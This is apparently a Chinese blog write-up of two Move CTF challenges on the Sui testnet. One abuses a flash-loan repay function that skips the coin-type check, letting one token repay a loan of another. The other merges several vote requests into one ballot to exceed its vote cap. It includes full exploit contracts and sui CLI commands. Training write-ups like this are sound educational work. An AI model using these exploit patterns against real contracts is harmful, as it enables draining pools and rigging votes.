HOH Move CTF共学,Task2&Task3的解题思路,参加共学非常地开心,玩解谜还有钱拿,赚翻啦!
参与了HOH社区举办的Move CTF共学,本文主要分享Task2&Task3解题思路。二者解题很相似,都是因为没有对类型进行确认导致的错误
ctf参与平台: https://platform.cyclens.tech/activity/1
题目给出的代码是一个简易的流动性池,包含了创建池子、添加资产、进行代币兑换、支持 Flash Loan等功能
先看get_flag
的要求:
public fun is_solved(challenge: &Challenge<LP, BUTT, DROP>): bool {
let pool = &challenge.pool;
let butt_balance = pool.balance_of<LP, BUTT>();
let is_flashloan = pool.is_flashloan();
butt_balance == 0 && is_flashloan == false
}
public fun get_flag(challenge: &mut Challenge<LP, BUTT, DROP>, github_id: String, ctx: &mut TxContext) {
assert!(is_solved(challenge), ENotSolved);
assert!(!challenge.success, EAlreadySolved);
challenge.success = true;
event::emit(FlagEvent {
sender: ctx.sender(),
flag: string::utf8(b"CTF{MoveCTF-Task2}"),
github_id,
success: true
});
}
题目要求Challenge
中的pool
所存储的的Butt
代币的余额必须为0,且没有欠下闪电贷,那就重点来看看闪电贷的代码
public fun flashloan<LP, A>(
pool: &mut Pool<LP>,
amount: u64,
ctx: &mut TxContext,
): (Coin<A>, FlashReceipt) {
assert!(contains_type<LP, A>(pool), ETypeNotFoundInPool);
assert!(!pool.flashloan, EFlashloanAlreadyInProgress);
pool.flashloan = true;
let coin = withdraw_internal<LP, A>(pool, amount, ctx);
let receipt = FlashReceipt {
pool_id: object::id(pool),
type_name: type_name::get<A>().into_string(),
repay_amount: amount * (FEE_PRECISION + FLASHLOAN_FEE) / FEE_PRECISION,
};
(coin, receipt)
}
public fun repay_flashloan<LP, A>(pool: &mut Pool<LP>, receipt: FlashReceipt, coin: Coin<A>) {
let FlashReceipt { pool_id: id, type_name: _, repay_amount: amount } = receipt;
assert!(contains_type<LP, A>(pool), ETypeNotFoundInPool);
assert!(object::id(pool) == id, EPoolIdMismatch);
assert!(coin::value(&coin) == amount, ERepayAmountMismatch);
deposit_internal<LP, A>(pool, coin);
pool.flashloan = false;
}
仔细观察发现,FlashReceipt
中存储了 type_name
代表借走的代币类型,但在 repay_flashloan
还款函数中没有验证这个字符串与泛型参数 A
是否匹配。意味着你可以通过借出所有的B币,但用相同面额的A币去还闪电贷。攻击代码如下:
public fun solv_flag(
chalg: &mut Challenge<LP, BUTT, DROP>,
github_id : String,
ctx: &mut TxContext
){
//获得一定量DROP代币
let mut drop = challenge::claim_drop(chalg,ctx);
//获得pool中Butt代币量
let butt_amount = pool::balance_of<LP,BUTT>(challenge::get_pool(chalg));
//借走走所有的Butt
let (stolen,receipt) = pool::flashloan<LP,BUTT>(
challenge::get_pool_mut(chalg),
butt_amount,
ctx
);
//计算还款金额并分出相对应数量的DROP
let repay_amount = butt_amount * (FEE_PRECISION + FLASHLOAN_FEE) / FEE_PRECISION;
let drop_for_pay = coin::split(&mut drop,repay_amount,ctx);
//使用DROP去还Butt的借款
pool::repay_flashloan<LP,DROP>(
challenge::get_pool_mut(chalg),
receipt,
drop_for_pay
);
if(challenge::is_solved(chalg)){
get_flag(chalg,github_id,ctx);
};
//处理剩余的代码
transfer::public_transfer(stolen,tx_context::sender(ctx));
transfer::public_transfer(drop,@0x0);
}
//创建一个Challeng Object
public fun start(
mint_butt: MintBUTT<BUTT>,
mint_drop: MintDROP<DROP>,
create_cap: CreatePoolCap<LP>,
ctx: &mut TxContext){
let chalg = challenge::create_challenge(mint_butt,mint_drop,create_cap,ctx);
transfer::public_transfer(chalg,tx_context::sender(ctx));
}
开始解题,获得部署的合约地址和github id
修改题目文件夹中的
Move.lock
,添加分配到的的package id
, 并在Move.toml
中添加依赖项
[env.testnet]
chain-id = "4c78adac"
original-published-id = "0xe610a567bd5147115aeeec20294cc125ee1a2467bcb1396ce2a8a462a7cfd707"
latest-published-id = "0xe610a567bd5147115aeeec20294cc125ee1a2467bcb1396ce2a8a462a7cfd707"
published-version = "1"
#Move.toml
week2 = {local= "../move_contract"}
将解题代码publish后,调用命令行创建Challenge Obejct
, 用分配到的package id
在链上查询需要的MintBUTT<BUTT>
等铸币权限的地址
sui client call --package 0xfdc03d506f8e2729872fe544a2ed2fabdfa4c11b95614061a0efd5e176add023 --module solv --function start --args 0x364e70a2422830fb92e26b658f6ac3f97baed2fb7a2d08a1d877279e9f1d1fdc 0x8085c5b3c72c0fe569a66f56f59b3a716b4dca2096dcd727a2c13aaf49c04210 0x6c7cbb2d01534da3cf2bbee3c843be354931ef825f21130b04497bbb3a13f682
创建成功的Challenge Obejct
调用solv_flag
函数
sui client call --package 0xfdc03d506f8e2729872fe544a2ed2fabdfa4c11b95614061a0efd5e176add023 --module solv --function solv_flag --args 0xbe8c4e5cd1daef872c914a63b134bf05f9e0cd4419e4055e37b192a1aecf8603 "deccf1a2-960f-4a22-973b-b0af576af543"
返回通过
题目给出的是一个投票系统,每个用户可拥有一张选票。选票内含10票,由用户自行分配票数给候选人,来看解题要求:
public fun get_flag(
briber: &mut Briber,
ballot: &Ballot,
github_id: String,
ctx: &TxContext,
) {
let ballot_id = ballot.id();
assert!(!briber.given_list.contains(ballot_id));
let votes = ballot.voted().try_get(&required_candidate());
assert!(votes.is_some());
assert!(votes.destroy_some() >= required_votes());
flag::emit_flag(ctx.sender(), ballot.id().to_address().to_string(), github_id);
briber.given_list.add(ballot_id, true);
}
我们需要在一张ballot
内指定的candidate
地址投上超过21票,突破只有10票的权重分配
再去阅读投票的代码,可以得到投票的流程
request_vote
申请一张ballot
,同时生成一份Hot PotatoVoteRequest
vote
进行投票,deduct_voting_power
,将投票情况记录到VoteRequest
中,并保证总票数不超过10finish_voting
用于销毁VoteRequest
,并将VoteRequest
中的记录存储到ballot
中仔细去看各个函数的实现,可以发现一个华点,出题老师很贴心地在 finish_voting
中加了一个累加的逻辑
if (already_voted.is_some()) {
*ballot_voted.get_mut(&c) = already_voted.destroy_some() + v;
}
但每个 ballot
只能产生一个VoteRequest
投票一次(has_voted = true
),所以正常情况下 ballot.voted
应该是空的,不会有多个VoteRequest
来触发累加。
再看一眼finsih_voting
函数,理论上一个Ballot
应该对应一个VoteRequest
但finish_voting
并没有检查二者的对应关系,所以我们用多个VoteRequest
,集中投票给一个Ballot
,这样就可以突破权重限制,投上21票了
解题代码如下:
public fun get_more_votes(ballot1: &mut Ballot,ballot2: &mut Ballot,ballot3: &mut Ballot,candiate : &mut Candidate){
let mut request1 = ballot::request_vote(ballot1);
let mut request2 = ballot::request_vote(ballot2);
let mut request3 = ballot::request_vote(ballot3);
candidate::amend_account(candiate,@0xbad);
//也可以选择10,投上个30票
candidate::vote(candiate,&mut request1,7);
candidate::vote(candiate,&mut request2,7);
candidate::vote(candiate,&mut request3,7);
ballot::finish_voting(ballot1,request1);
ballot::finish_voting(ballot1,request2);
ballot::finish_voting(ballot1,request3);
}
从分配的合约中得到,
0xd506ddc58131bbd32a5437255abb882301d783e3e457c38c3c1031598c97b6d9
0xe582dd6ee071e44c04162d165116900268d067ba3d086f6b432aea30eb1aad2b
c8ba470b-8902-4c7e-92cb-19a1d0901ad6
call register
注册Candidate Object
sui client call --package 0xd506ddc58131bbd32a5437255abb882301d783e3e457c38c3c1031598c97b6d9 --module candidate --function register
得到 candidate object0x56f70235e6c1a805e8378437b356fa0e31eeec27510117bc67cf6fbd56207afb
执行三次get_ballot
获得三个Ballot Object
sui client call --package 0xd506ddc58131bbd32a5437255abb882301d783e3e457c38c3c1031598c97b6d9 --module ballot --function get_ballot
0x6fee64f2e91b2e41ce7a599b8b1d48175a54a4e5a5791ebcb4886ddfdddb5596
0x15ed7dbcec88bc5ba7c0c7de20e991ccb327eb546d02813e1f8e5f49c2525865
0x89ffb76c40ba5ced66a78e7547fdda74542d9e1b9cc85ab69f3de86fd0aeee0d
publish 解题合约后,将得到的3个Ballot Object和Candidate object传入solv_week3
sui client call --package 0x50ff6d15e74ef433076f79b4ec79ec101800a4caab38a23f366ae51776e649b2 --module solv_week3 --function get_more_votes --args 0x6fee64f2e91b2e41ce7a599b8b1d48175a54a4e5a5791ebcb4886ddfdddb5596 0x15ed7dbcec88bc5ba7c0c7de20e991ccb327eb546d02813e1f8e5f49c2525865 0x89ffb76c40ba5ced66a78e7547fdda74542d9e1b9cc85ab69f3de86fd0aeee0d 0x56f70235e6c1a805e8378437b356fa0e31eeec27510117bc67cf6fbd56207afb
call get_flag
,得到flag
sui client call --package 0xd506ddc58131bbd32a5437255abb882301d783e3e457c38c3c1031598c97b6d9 --module briber --function get_flag --args 0xe582dd6ee071e44c04162d165116900268d067ba3d086f6b432aea30eb1aad2b 0x6fee64f2e91b2e41ce7a599b8b1d48175a54a4e5a5791ebcb4886ddfdddb5596 "c8ba470b-8902-4c7e-92cb-19a1d0901ad6"
返回成功
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!